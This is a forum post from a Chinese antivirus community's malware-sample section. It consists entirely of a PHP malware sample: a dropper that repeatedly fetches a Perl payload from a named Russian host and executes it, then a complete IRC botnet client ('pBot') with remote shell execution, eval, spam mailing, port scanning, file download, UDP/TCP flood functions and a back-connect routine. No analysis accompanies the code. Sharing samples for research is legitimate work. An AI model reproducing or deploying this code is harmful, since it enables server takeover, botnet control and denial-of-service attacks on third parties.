收藏本站 |切换到宽版 | 更换论坛皮肤
 找回密码  忘记邮箱  QQ快速登录  快速登录  快速注册

卡饭»论坛 › 安全区 › 病毒样本 分享&分析区 › 网络安全（毒网分析） › http://sun-tur.ru/shop/images/byroe.jpg
返回列表 发新帖
查看: 1581|回复: 0
收起左侧

[其它] http://sun-tur.ru/shop/images/byroe.jpg

 关闭 [复制链接]
是昔流芳
发表于 2011-8-1 16:47:37 | 显示全部楼层 |阅读模式
  1. <?php
  2. set_time_limit(0);
  3. error_reporting(0);

  5. $url[2] = "http://www.sun-tur.ru/shop/images/sts.pl";
  6. $sfe[2] = "xxx";
  7. exec(); shell_exec(); system(); passthru();
  8. exec("wget ".$url[2]." -O ".$sfe[2]."; chmod 755 ".$sfe[2]."; perl ".$sfe[2]."*");
  9. exec("fetch -O ".$sfe[2]." ".$url[2]."; chmod 755 ".$sfe[2]."; perl ".$sfe[2]."*");
  10. exec("cUrl -O ".$sfe[2]." ".$url[2]."; chmod 755 ".$sfe[2]."; perl ".$sfe[2]."*");
  11. exec("lynx -dump ".$url[2]." ".$sfe[2]."; chmod 755 ".$sfe[2]."; perl ".$sfe[2]."*");
  12. exec("GET ".$url[2].">".$sfe[2]."; chmod 755 ".$sfe[2]."; perl ".$sfe[2]."*");
  13. exec("lwp-download ".$url[2]." ".$sfe[2]."; chmod 755 ".$sfe[2]."; perl ".$sfe[2]."*");
  14. shell_exec("wget ".$url[2]." -O ".$sfe[2]."; chmod 755 ".$sfe[2]."; perl ".$sfe[2]."*");
  15. shell_exec("fetch -O ".$sfe[2]." ".$url[2]."; chmod 755 ".$sfe[2]."; perl ".$sfe[2]."*");
  16. shell_exec("cUrl -O ".$sfe[2]." ".$url[2]."; chmod 755 ".$sfe[2]."; perl ".$sfe[2]."*");
  17. shell_exec("lynx -dump ".$url[2]." ".$sfe[2]."; chmod 755 ".$sfe[2]."; perl ".$sfe[2]."*");
  18. shell_exec("GET ".$url[2].">".$sfe[2]."; chmod 755 ".$sfe[2]."; perl ".$sfe[2]."*");
  19. shell_exec("lwp-download ".$url[2]." ".$sfe[2]."; chmod 755 ".$sfe[2]."; perl ".$sfe[2]."*");
  20. system("wget ".$url[2]." -O ".$sfe[2]."; chmod 755 ".$sfe[2]."; perl ".$sfe[2]."*");
  21. system("fetch -O ".$sfe[2]." ".$url[2]."; chmod 755 ".$sfe[2]."; perl ".$sfe[2]."*");
  22. system("cUrl -O ".$sfe[2]." ".$url[2]."; chmod 755 ".$sfe[2]."; perl ".$sfe[2]."*");
  23. system("lynx -dump ".$url[2]." ".$sfe[2]."; chmod 755 ".$sfe[2]."; perl ".$sfe[2]."*");
  24. system("GET ".$url[2].">".$sfe[2]."; chmod 755 ".$sfe[2]."; perl ".$sfe[2]."*");
  25. system("lwp-download ".$url[2]." ".$sfe[2]."; chmod 755 ".$sfe[2]."; perl ".$sfe[2]."*");
  26. passthru("wget ".$url[2]." -O ".$sfe[2]."; chmod 755 ".$sfe[2]."; perl ".$sfe[2]."*");
  27. passthru("fetch -O ".$sfe[2]." ".$url[2]."; chmod 755 ".$sfe[2]."; perl ".$sfe[2]."*");
  28. passthru("cUrl -O ".$sfe[2]." ".$url[2]."; chmod 755 ".$sfe[2]."; perl ".$sfe[2]."*");
  29. passthru("lynx -dump ".$url[2]." ".$sfe[2]."; chmod 755 ".$sfe[2]."; perl ".$sfe[2]."*");
  30. passthru("GET ".$url[2].">".$sfe[2]."; chmod 755 ".$sfe[2]."; perl ".$sfe[2]."*");
  31. passthru("lwp-download ".$url[2]." ".$sfe[2]."; chmod 755 ".$sfe[2]."; perl ".$sfe[2]."*");
  32. //-- /tmp
  33. exec("wget ".$url[2]." -O /tmp/".$sfe[2]."; chmod 755 /tmp/".$sfe[2]."; perl /tmp/".$sfe[2]."*");
  34. exec("fetch -O /tmp/".$sfe[2]." ".$url[2]."; chmod 755 /tmp/".$sfe[2]."; perl /tmp/".$sfe[2]."*");
  35. exec("cUrl -O /tmp/".$sfe[2]." ".$url[2]."; chmod 755 /tmp/".$sfe[2]."; perl /tmp/".$sfe[2]."*");
  36. exec("lynx -dump ".$url[2]." /tmp/".$sfe[2]."; chmod 755 /tmp/".$sfe[2]."; perl /tmp/".$sfe[2]."*");
  37. exec("GET ".$url[2].">/tmp/".$sfe[2]."; chmod 755 /tmp/".$sfe[2]."; perl /tmp/".$sfe[2]."*");
  38. exec("lwp-download ".$url[2]." /tmp/".$sfe[2]."; chmod 755 /tmp/".$sfe[2]."; perl /tmp/".$sfe[2]."*");
  39. shell_exec("wget ".$url[2]." -O /tmp/".$sfe[2]."; chmod 755 /tmp/".$sfe[2]."; perl /tmp/".$sfe[2]."*");
  40. shell_exec("fetch -O /tmp/".$sfe[2]." ".$url[2]."; chmod 755 /tmp/".$sfe[2]."; perl /tmp/".$sfe[2]."*");
  41. shell_exec("cUrl -O /tmp/".$sfe[2]." ".$url[2]."; chmod 755 /tmp/".$sfe[2]."; perl /tmp/".$sfe[2]."*");
  42. shell_exec("lynx -dump ".$url[2]." /tmp/".$sfe[2]."; chmod 755 /tmp/".$sfe[2]."; perl /tmp/".$sfe[2]."*");
  43. shell_exec("GET ".$url[2].">/tmp/".$sfe[2]."; chmod 755 /tmp/".$sfe[2]."; perl /tmp/".$sfe[2]."*");
  44. shell_exec("lwp-download ".$url[2]." /tmp/".$sfe[2]."; chmod 755 /tmp/".$sfe[2]."; perl /tmp/".$sfe[2]."*");
  45. system("wget ".$url[2]." -O /tmp/".$sfe[2]."; chmod 755 /tmp/".$sfe[2]."; perl /tmp/".$sfe[2]."*");
  46. system("fetch -O /tmp/".$sfe[2]." ".$url[2]."; chmod 755 /tmp/".$sfe[2]."; perl /tmp/".$sfe[2]."*");
  47. system("cUrl -O /tmp/".$sfe[2]." ".$url[2]."; chmod 755 /tmp/".$sfe[2]."; perl /tmp/".$sfe[2]."*");
  48. system("lynx -dump ".$url[2]." /tmp/".$sfe[2]."; chmod 755 /tmp/".$sfe[2]."; perl /tmp/".$sfe[2]."*");
  49. system("GET ".$url[2].">/tmp/".$sfe[2]."; chmod 755 /tmp/".$sfe[2]."; perl /tmp/".$sfe[2]."*");
  50. system("lwp-download ".$url[2]." /tmp/".$sfe[2]."; chmod 755 /tmp/".$sfe[2]."; perl /tmp/".$sfe[2]."*");
  51. passthru("wget ".$url[2]." -O /tmp/".$sfe[2]."; chmod 755 /tmp/".$sfe[2]."; perl /tmp/".$sfe[2]."*");
  52. passthru("fetch -O /tmp/".$sfe[2]." ".$url[2]."; chmod 755 /tmp/".$sfe[2]."; perl /tmp/".$sfe[2]."*");
  53. passthru("cUrl -O /tmp/".$sfe[2]." ".$url[2]."; chmod 755 /tmp/".$sfe[2]."; perl /tmp/".$sfe[2]."*");
  54. passthru("lynx -dump ".$url[2]." /tmp/".$sfe[2]."; chmod 755 /tmp/".$sfe[2]."; perl /tmp/".$sfe[2]."*");
  55. passthru("GET ".$url[2].">/tmp/".$sfe[2]."; chmod 755 /tmp/".$sfe[2]."; perl /tmp/".$sfe[2]."*");
  56. passthru("lwp-download ".$url[2]." /tmp/".$sfe[2]."; chmod 755 /tmp/".$sfe[2]."; perl /tmp/".$sfe[2]."*");
  57. //-- /var/tmp
  58. exec("wget ".$url[2]." -O /var/tmp/".$sfe[2]."; chmod 755 /var/tmp/".$sfe[2]."; perl /var/tmp/".$sfe[2]."*");
  59. exec("fetch -O /var/tmp/".$sfe[2]." ".$url[2]."; chmod 755 /var/tmp/".$sfe[2]."; perl /var/tmp/".$sfe[2]."*");
  60. exec("cUrl -O /var/tmp/".$sfe[2]." ".$url[2]."; chmod 755 /var/tmp/".$sfe[2]."; perl /var/tmp/".$sfe[2]."*");
  61. exec("lynx -dump ".$url[2]." /var/tmp/".$sfe[2]."; chmod 755 /var/tmp/".$sfe[2]."; perl /var/tmp/".$sfe[2]."*");
  62. exec("GET ".$url[2].">/var/tmp/".$sfe[2]."; chmod 755 /var/tmp/".$sfe[2]."; perl /var/tmp/".$sfe[2]."*");
  63. exec("lwp-download ".$url[2]." /var/tmp/".$sfe[2]."; chmod 755 /var/tmp/".$sfe[2]."; perl /var/tmp/".$sfe[2]."*");
  64. shell_exec("wget ".$url[2]." -O /var/tmp/".$sfe[2]."; chmod 755 /var/tmp/".$sfe[2]."; perl /var/tmp/".$sfe[2]."*");
  65. shell_exec("fetch -O /var/tmp/".$sfe[2]." ".$url[2]."; chmod 755 /var/tmp/".$sfe[2]."; perl /var/tmp/".$sfe[2]."*");
  66. shell_exec("cUrl -O /var/tmp/".$sfe[2]." ".$url[2]."; chmod 755 /var/tmp/".$sfe[2]."; perl /var/tmp/".$sfe[2]."*");
  67. shell_exec("lynx -dump ".$url[2]." /var/tmp/".$sfe[2]."; chmod 755 /var/tmp/".$sfe[2]."; perl /var/tmp/".$sfe[2]."*");
  68. shell_exec("GET ".$url[2].">/var/tmp/".$sfe[2]."; chmod 755 /var/tmp/".$sfe[2]."; perl /var/tmp/".$sfe[2]."*");
  69. shell_exec("lwp-download ".$url[2]." /var/tmp/".$sfe[2]."; chmod 755 /var/tmp/".$sfe[2]."; perl /var/tmp/".$sfe[2]."*");
  70. system("wget ".$url[2]." -O /var/tmp/".$sfe[2]."; chmod 755 /var/tmp/".$sfe[2]."; perl /var/tmp/".$sfe[2]."*");
  71. system("fetch -O /var/tmp/".$sfe[2]." ".$url[2]."; chmod 755 /var/tmp/".$sfe[2]."; perl /var/tmp/".$sfe[2]."*");
  72. system("cUrl -O /var/tmp/".$sfe[2]." ".$url[2]."; chmod 755 /var/tmp/".$sfe[2]."; perl /var/tmp/".$sfe[2]."*");
  73. system("lynx -dump ".$url[2]." /var/tmp/".$sfe[2]."; chmod 755 /var/tmp/".$sfe[2]."; perl /var/tmp/".$sfe[2]."*");
  74. system("GET ".$url[2].">/var/tmp/".$sfe[2]."; chmod 755 /var/tmp/".$sfe[2]."; perl /var/tmp/".$sfe[2]."*");
  75. system("lwp-download ".$url[2]." /var/tmp/".$sfe[2]."; chmod 755 /var/tmp/".$sfe[2]."; perl /var/tmp/".$sfe[2]."*");
  76. passthru("wget ".$url[2]." -O /var/tmp/".$sfe[2]."; chmod 755 /var/tmp/".$sfe[2]."; perl /var/tmp/".$sfe[2]."*");
  77. passthru("fetch -O /var/tmp/".$sfe[2]." ".$url[2]."; chmod 755 /var/tmp/".$sfe[2]."; perl /var/tmp/".$sfe[2]."*");
  78. passthru("cUrl -O /var/tmp/".$sfe[2]." ".$url[2]."; chmod 755 /var/tmp/".$sfe[2]."; perl /var/tmp/".$sfe[2]."*");
  79. passthru("lynx -dump ".$url[2]." /var/tmp/".$sfe[2]."; chmod 755 /var/tmp/".$sfe[2]."; perl /var/tmp/".$sfe[2]."*");
  80. passthru("GET ".$url[2].">/var/tmp/".$sfe[2]."; chmod 755 /var/tmp/".$sfe[2]."; perl /var/tmp/".$sfe[2]."*");
  81. passthru("lwp-download ".$url[2]." /var/tmp/".$sfe[2]."; chmod 755 /var/tmp/".$sfe[2]."; perl /var/tmp/".$sfe[2]."*");

  83. set_time_limit(0);
  84. error_reporting(0);
  85. echo "ok!";

  87. class pBot
  88. {
  89. var $config = array("server"=>"irc.pasbar.com",
  90.                      "port"=>"6667",
  91.                      "pass"=>"*",
  92.                      "prefix"=>"PunK|",
  93.                      "maxrand"=>"5",
  94.                      "chan"=>"#fx29sh",
  95.                      "chan2"=>"#fx29sh",
  96.                      "key"=>"on",
  97.                      "modes"=>"+p",
  98.                      "password"=>"culo",
  99.                      "trigger"=>".",
  100.                      "hostauth"=>"e.punk.io" // * for any hostname ( remember: /setvhost lAgi.seRius.sCan )
  101.                      );
  102. var $users = array();
  103. function start()
  104. {
  105.     if(!($this->conn = fsockopen($this->config['server'],$this->config['port'],$e,$s,30)))
  106.        $this->start();
  107.     $ident = $this->config['prefix'];
  108.     $alph = range("0","100");
  109.     for($i=0;$i<$this->config['maxrand'];$i++)
  110.        $ident .= $alph[rand(0,100)];
  111.     if(strlen($this->config['pass'])>0)
  112.        $this->send("PASS ".$this->config['pass']);
  113.     $this->send("USER ".$ident." 127.0.0.1 localhost :".php_uname()."");
  114.     $this->set_nick();
  115.     $this->main();
  116. }
  117. function main()
  118. {
  119.     while(!feof($this->conn))
  120.     {
  121.        $this->buf = trim(fgets($this->conn,512));
  122.        $cmd = explode(" ",$this->buf);
  123.        if(substr($this->buf,0,6)=="PING :")
  124.        {
  125.           $this->send("PONG :".substr($this->buf,6));
  126.        }
  127.        if(isset($cmd[1]) && $cmd[1] =="001")
  128.        {
  129.           $this->send("MODE ".$this->nick." ".$this->config['modes']);
  130.           $this->join($this->config['chan'],$this->config['key']);
  131.           if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = "on"; }
  132.           else { $safemode = "off"; }
  133.           $uname = php_uname();
  134.           $this->privmsg($this->config['chan2'],"[\2uname!\2]: $uname (safe: $safemode)");
  135.           $this->privmsg($this->config['chan2'],"[\2vuln!\2]: http://".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI']."");
  136.        }
  137.        if(isset($cmd[1]) && $cmd[1]=="433")
  138.        {
  139.           $this->set_nick();
  140.        }
  141.        if($this->buf != $old_buf)
  142.        {
  143.           $mcmd = array();
  144.           $msg = substr(strstr($this->buf," :"),2);
  145.           $msgcmd = explode(" ",$msg);
  146.           $nick = explode("!",$cmd[0]);
  147.           $vhost = explode("@",$nick[1]);
  148.           $vhost = $vhost[1];
  149.           $nick = substr($nick[0],1);
  150.           $host = $cmd[0];
  151.           if($msgcmd[0]==$this->nick)
  152.           {
  153.            for($i=0;$i<count($msgcmd);$i++)
  154.               $mcmd[$i] = $msgcmd[$i+1];
  155.           }
  156.           else
  157.           {
  158.            for($i=0;$i<count($msgcmd);$i++)
  159.               $mcmd[$i] = $msgcmd[$i];
  160.           }
  161.           if(count($cmd)>2)
  162.           {
  163.              switch($cmd[1])
  164.              {
  165.                 case "QUIT":
  166.                    if($this->is_logged_in($host))
  167.                    {
  168.                       $this->log_out($host);
  169.                    }
  170.                 break;
  171.                 case "PART":
  172.                    if($this->is_logged_in($host))
  173.                    {
  174.                       $this->log_out($host);
  175.                    }
  176.                 break;
  177.                 case "PRIVMSG":
  178.                    if(!$this->is_logged_in($host) && ($vhost == $this->config['hostauth'] || $this->config['hostauth'] == "*"))
  179.                    {
  180.                       if(substr($mcmd[0],0,1)==".")
  181.                       {
  182.                          switch(substr($mcmd[0],1))
  183.                          {
  184.                             case "user":
  185.                               if($mcmd[1]==$this->config['password'])
  186.                               {
  187.                                  $this->log_in($host);
  188.                               }
  189.                               else
  190.                               {
  191.                                  $this->notice($this->config['chan'],"[\2Auth\2]: Senha errada $nick idiota!!");
  192.                               }
  193.                             break;
  194.                          }
  195.                       }
  196.                    }
  197.                    elseif($this->is_logged_in($host))
  198.                    {
  199.                       if(substr($mcmd[0],0,1)==".")
  200.                       {
  201.                          switch(substr($mcmd[0],1))
  202.                          {
  203.                             case "restart":
  204.                                $this->send("QUIT :restart commando from $nick");
  205.                                fclose($this->conn);
  206.                                $this->start();
  207.                             break;
  208.                             case "mail": //mail to from subject message
  209.                                if(count($mcmd)>4)
  210.                                {
  211.                                   $header = "From: <".$mcmd[2].">";
  212.                                   if(!mail($mcmd[1],$mcmd[3],strstr($msg,$mcmd[4]),$header))
  213.                                   {
  214.                                      $this->privmsg($this->config['chan'],"[\2mail\2]: Impossivel mandar e-mail.");
  215.                                   }
  216.                                   else
  217.                                   {
  218.                                      $this->privmsg($this->config['chan'],"[\2mail\2]: Mensagem enviada para \2".$mcmd[1]."\2");
  219.                                   }
  220.                                }
  221.                             break;
  222.                             case "safe":
  223.                                if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
  224.                                {
  225.                                $safemode = "on";
  226.                                }
  227.                                else {
  228.                                $safemode = "off";
  229.                                }
  230.                                $this->privmsg($this->config['chan'],"[\2safe mode\2]: ".$safemode."");
  231.                             break;
  232.                             case "inbox": //teste inbox
  233.                                if(isset($mcmd[1]))
  234.                                {
  235.                                   $token = md5(uniqid(rand(), true));
  236.                                   $header = "From: <inbox".$token."@xdevil.org>";
  237.                                   $a = php_uname();
  238.                                   $b = getenv("SERVER_SOFTWARE");
  239.                                   $c = gethostbyname($_SERVER["HTTP_HOST"]);
  240.                                   if(!mail($mcmd[1],"InBox Test","#nogRod. since 2008\n\nip: $c \nsoftware: $b \nsystem: $a \nvuln: http://".$_SERVER['SERVER_NAME']."\n\ngreetz: irc.udplink.net\nNOGROD OWNZ",$header))
  241.                                   {
  242.                                      $this->privmsg($this->config['chan'],"[\2inbox\2]: Unable to send");
  243.                                   }
  244.                                   else
  245.                                   {
  246.                                      $this->privmsg($this->config['chan'],"[\2inbox\2]: Message sent to \2".$mcmd[1]."\2");
  247.                                   }
  248.                                }
  249.                             break;
  250.                             case "conback":
  251.                                if(count($mcmd)>2)
  252.                                {
  253.                                   $this->conback($mcmd[1],$mcmd[2]);
  254.                                }
  255.                             break;
  256.                             case "dns":
  257.                                if(isset($mcmd[1]))
  258.                                {
  259.                                   $ip = explode(".",$mcmd[1]);
  260.                                   if(count($ip)==4 && is_numeric($ip[0]) && is_numeric($ip[1]) && is_numeric($ip[2]) && is_numeric($ip[3]))
  261.                                   {
  262.                                      $this->privmsg($this->config['chan'],"[\2dns\2]: ".$mcmd[1]." => ".gethostbyaddr($mcmd[1]));
  263.                                   }
  264.                                   else
  265.                                   {
  266.                                      $this->privmsg($this->config['chan'],"[\2dns\2]: ".$mcmd[1]." => ".gethostbyname($mcmd[1]));
  267.                                   }
  268.                                }
  269.                             break;
  270.                             case "info":
  271.                             case "vunl":
  272.                                if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = "on"; }
  273.                                else { $safemode = "off"; }
  274.                                $uname = php_uname();
  275.                                $this->privmsg($this->config['chan'],"[\2info\2]: $uname (safe: $safemode)");
  276.                                $this->privmsg($this->config['chan'],"[\2vuln\2]: http://".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI']."");
  277.                             break;
  278.                             case "bot":
  279.                                $this->privmsg($this->config['chan'],"[\2bot\2]: phpbot 2.0 by; NOGROD.");
  280.                             break;
  281.                             case "uname":
  282.                                if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = "on"; }
  283.                                else { $safemode = "off"; }
  284.                                $uname = php_uname();
  285.                                $this->privmsg($this->config['chan'],"[\2info\2]: $uname (safe: $safemode)");
  286.                             break;
  287.                             case "rndnick":
  288.                                $this->set_nick();
  289.                             break;
  290.                             case "raw":
  291.                                $this->send(strstr($msg,$mcmd[1]));
  292.                             break;
  293.                             case "eval":
  294.                               $eval = eval(substr(strstr($msg,$mcmd[1]),strlen($mcmd[1])));
  295.                             break;
  296.                                         case "sexec":
  297.                                $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
  298.                                $exec = shell_exec($command);
  299.                                $ret = explode("\n",$exec);
  300.                                for($i=0;$i<count($ret);$i++)
  301.                                   if($ret[$i]!=NULL)
  302.                                      $this->privmsg($this->config['chan'],"      : ".trim($ret[$i]));
  303.                             break;

  305.                             case "exec":
  306.                                $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
  307.                                $exec = exec($command);
  308.                                $ret = explode("\n",$exec);
  309.                                for($i=0;$i<count($ret);$i++)
  310.                                   if($ret[$i]!=NULL)
  311.                                      $this->privmsg($this->config['chan'],"      : ".trim($ret[$i]));
  312.                             break;

  314.                             case "passthru":
  315.                                $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
  316.                                $exec = passthru($command);
  317.                                $ret = explode("\n",$exec);
  318.                                for($i=0;$i<count($ret);$i++)
  319.                                   if($ret[$i]!=NULL)
  320.                                      $this->privmsg($this->config['chan'],"      : ".trim($ret[$i]));
  321.                             break;

  323.                             case "popen":
  324.                                if(isset($mcmd[1]))
  325.                                {
  326.                                   $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
  327.                                   $this->privmsg($this->config['chan'],"[\2popen\2]: $command");
  328.                                   $pipe = popen($command,"r");
  329.                                   while(!feof($pipe))
  330.                                   {
  331.                                      $pbuf = trim(fgets($pipe,512));
  332.                                      if($pbuf != NULL)
  333.                                         $this->privmsg($this->config['chan'],"     : $pbuf");
  334.                                   }
  335.                                   pclose($pipe);
  336.                                }  

  338.                             case "system":
  339.                                $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
  340.                                $exec = system($command);
  341.                                $ret = explode("\n",$exec);
  342.                                for($i=0;$i<count($ret);$i++)
  343.                                   if($ret[$i]!=NULL)
  344.                                      $this->privmsg($this->config['chan'],"      : ".trim($ret[$i]));
  345.                             break;

  347.                             case "pscan": // .pscan 127.0.0.1 6667
  348.                                if(count($mcmd) > 2)
  349.                                {
  350.                                   if(fsockopen($mcmd[1],$mcmd[2],$e,$s,15))
  351.                                      $this->privmsg($this->config['chan'],"[\2pscan\2]: ".$mcmd[1].":".$mcmd[2]." is \2open\2");
  352.                                   else
  353.                                      $this->privmsg($this->config['chan'],"[\2pscan\2]: ".$mcmd[1].":".$mcmd[2]." is \2closed\2");
  354.                                }
  355.                             break;
  356.                             case "ud.server": // .ud.server <server> <port> [password]
  357.                                if(count($mcmd)>2)
  358.                                {
  359.                                   $this->config['server'] = $mcmd[1];
  360.                                   $this->config['port'] = $mcmd[2];
  361.                                   if(isset($mcmcd[3]))
  362.                                   {
  363.                                    $this->config['pass'] = $mcmd[3];
  364.                                    $this->privmsg($this->config['chan'],"[\2update\2]: Server trocado para ".$mcmd[1].":".$mcmd[2]." Senha: ".$mcmd[3]);
  365.                                   }
  366.                                   else
  367.                                   {
  368.                                      $this->privmsg($this->config['chan'],"[\2update\2]: Server trocado para ".$mcmd[1].":".$mcmd[2]);
  369.                                   }
  370.                                }
  371.                             break;
  372.                             case "download":
  373.                                if(count($mcmd) > 2)
  374.                                {
  375.                                   if(!$fp = fopen($mcmd[2],"w"))
  376.                                   {
  377.                                      $this->privmsg($this->config['chan'],"[\2download\2]: Nao foi possivel fazer o download. Permissao negada.");
  378.                                   }
  379.                                   else
  380.                                   {
  381.                                      if(!$get = file($mcmd[1]))
  382.                                      {
  383.                                         $this->privmsg($this->config['chan'],"[\2download\2]: Nao foi possivel fazer o download de \2".$mcmd[1]."\2");
  384.                                      }
  385.                                      else
  386.                                      {
  387.                                         for($i=0;$i<=count($get);$i++)
  388.                                         {
  389.                                            fwrite($fp,$get[$i]);
  390.                                         }
  391.                                         $this->privmsg($this->config['chan'],"[\2download\2]: Arquivo \2".$mcmd[1]."\2 baixado para \2".$mcmd[2]."\2");
  392.                                      }
  393.                                      fclose($fp);
  394.                                   }
  395.                                }
  396.                                else { $this->privmsg($this->config['chan'],"[\2download\2]: use .download http://your.host/file /tmp/file"); }
  397.                             break;
  398.                             case "die":
  399.                                $this->send("QUIT :die command from $nick");
  400.                                fclose($this->conn);
  401.                                exit;
  402.                             case "logout":
  403.                                $this->log_out($host);
  404.                                $this->privmsg($this->config['chan'],"[\2auth\2]: $nick deslogado!");
  405.                             break;
  406.                             case "udpflood":
  407.                                if(count($mcmd)>3)
  408.                                {
  409.                                   $this->udpflood($mcmd[1],$mcmd[2],$mcmd[3]);
  410.                                }
  411.                             break;
  412.                             case "tcpflood":
  413.                                if(count($mcmd)>5)
  414.                                {
  415.                                   $this->tcpflood($mcmd[1],$mcmd[2],$mcmd[3],$mcmd[4],$mcmd[5]);
  416.                                }
  417.                             break;
  418.                          }
  419.                       }
  420.                    }
  421.                 break;
  422.              }
  423.           }
  424.        }
  425.        $old_buf = $this->buf;
  426.     }
  427.     $this->start();
  428. }
  429. function send($msg)
  430. {
  431.     fwrite($this->conn,"$msg\r\n");

  433. }
  434. function join($chan,$key=NULL)
  435. {
  436.     $this->send("JOIN $chan $key");
  437. }
  438. function privmsg($to,$msg)
  439. {
  440.     $this->send("PRIVMSG $to :$msg");
  441. }
  442. function notice($to,$msg)
  443. {
  444.     $this->send("NOTICE $to :$msg");
  445. }
  446. function is_logged_in($host)
  447. {
  448.     if(isset($this->users[$host]))
  449.        return 1;
  450.     else
  451.        return 0;
  452. }
  453. function log_in($host)
  454. {
  455.     $this->users[$host] = true;
  456. }
  457. function log_out($host)
  458. {
  459.     unset($this->users[$host]);
  460. }
  461. function set_nick()
  462. {
  463.     if(isset($_SERVER['SERVER_SOFTWARE']))
  464.     {
  465.        if(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"apache"))
  466.           $this->nick = "[A]";
  467.        elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"iis"))
  468.           $this->nick = "[I]";
  469.        elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"xitami"))
  470.           $this->nick = "[X]";
  471.        else
  472.           $this->nick = "[U]";
  473.     }
  474.     else
  475.     {
  476.        $this->nick = "[C]";
  477.     }
  478.     $this->nick .= $this->config['prefix'];
  479.     for($i=0;$i<$this->config['maxrand'];$i++)
  480.        $this->nick .= mt_rand(0,9);
  481.     $this->send("NICK ".$this->nick);
  482. }
  483.   function udpflood($host,$packetsize,$time) {
  484.         $this->privmsg($this->config['chan'],"[\2UdpFlood Started!\2]");
  485.         $packet = "";
  486.         for($i=0;$i<$packetsize;$i++) { $packet .= chr(mt_rand(1,256)); }
  487.         $timei = time();
  488.         $i = 0;
  489.         while(time()-$timei < $time) {
  490.                 $fp=fsockopen("udp://".$host,mt_rand(0,6000),$e,$s,5);
  491.         fwrite($fp,$packet);
  492.         fclose($fp);
  493.                 $i++;
  494.         }
  495.         $env = $i * $packetsize;
  496.         $env = $env / 1048576;
  497.         $vel = $env / $time;
  498.         $vel = round($vel);
  499.         $env = round($env);
  500.         $this->privmsg($this->config['chan'],"[\2UdpFlood Finished!\2]: $env MB enviados / Media: $vel MB/s ");
  501. }

  503. function tcpflood($host,$packets,$packetsize,$port,$delay)
  504. {
  505.     $this->privmsg($this->config['chan'],"[\2TcpFlood Started!\2]");
  506.     $packet = "";
  507.     for($i=0;$i<$packetsize;$i++)
  508.        $packet .= chr(mt_rand(1,256));
  509.     for($i=0;$i<$packets;$i++)
  510.     {
  511.        if(!$fp=fsockopen("tcp://".$host,$port,$e,$s,5))
  512.        {
  513.           $this->privmsg($this->config['chan'],"[\2TcpFlood\2]: Error: <$e>");
  514.           return 0;
  515.        }
  516.        else
  517.        {
  518.           fwrite($fp,$packet);
  519.           fclose($fp);
  520.        }
  521.        sleep($delay);
  522.     }
  523.     $this->privmsg($this->config['chan'],"[\2TcpFlood Finished!\2]: Config - $packets pacotes para $host:$port.");
  524. }
  525. function conback($ip,$port)
  526. {
  527.     $this->privmsg($this->config['chan'],"[\2conback\2]: tentando conectando a $ip:$port");
  528.     $dc_source = "";
  529.     if (is_writable("/tmp"))
  530.     {
  531.       if (file_exists("/tmp/dc.pl")) { unlink("/tmp/dc.pl"); }
  532.       $fp=fopen("/tmp/dc.pl","w");
  533.       fwrite($fp,base64_decode($dc_source));
  534.       passthru("perl /tmp/dc.pl $ip $port &");
  535.       unlink("/tmp/dc.pl");
  536.     }
  537.     else
  538.     {
  539.     if (is_writable("/var/tmp"))
  540.     {
  541.       if (file_exists("/var/tmp/dc.pl")) { unlink("/var/tmp/dc.pl"); }
  542.       $fp=fopen("/var/tmp/dc.pl","w");
  543.       fwrite($fp,base64_decode($dc_source));
  544.       passthru("perl /var/tmp/dc.pl $ip $port &");
  545.       unlink("/var/tmp/dc.pl");
  546.     }
  547.     if (is_writable("."))
  548.     {
  549.       if (file_exists("dc.pl")) { unlink("dc.pl"); }
  550.       $fp=fopen("dc.pl","w");
  551.       fwrite($fp,base64_decode($dc_source));
  552.       passthru("perl dc.pl $ip $port &");
  553.       unlink("dc.pl");
  554.     }
  555.     }
  556.   }

  558. }

  560. $bot = new pBot;
  561. $bot->start();

  563. ?>
复制代码
回复

举报

返回列表 发新帖
高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2025-2-1 06:46 , Processed in 0.130185 second(s), 16 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究，不得将上述内容用于商业或者其他非法用途，否则产生的一切后果自负，本站信息来自网络，版权争议问题与本站无关，您必须在下载后的24小时之内从您的电脑中彻底删除上述信息，如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表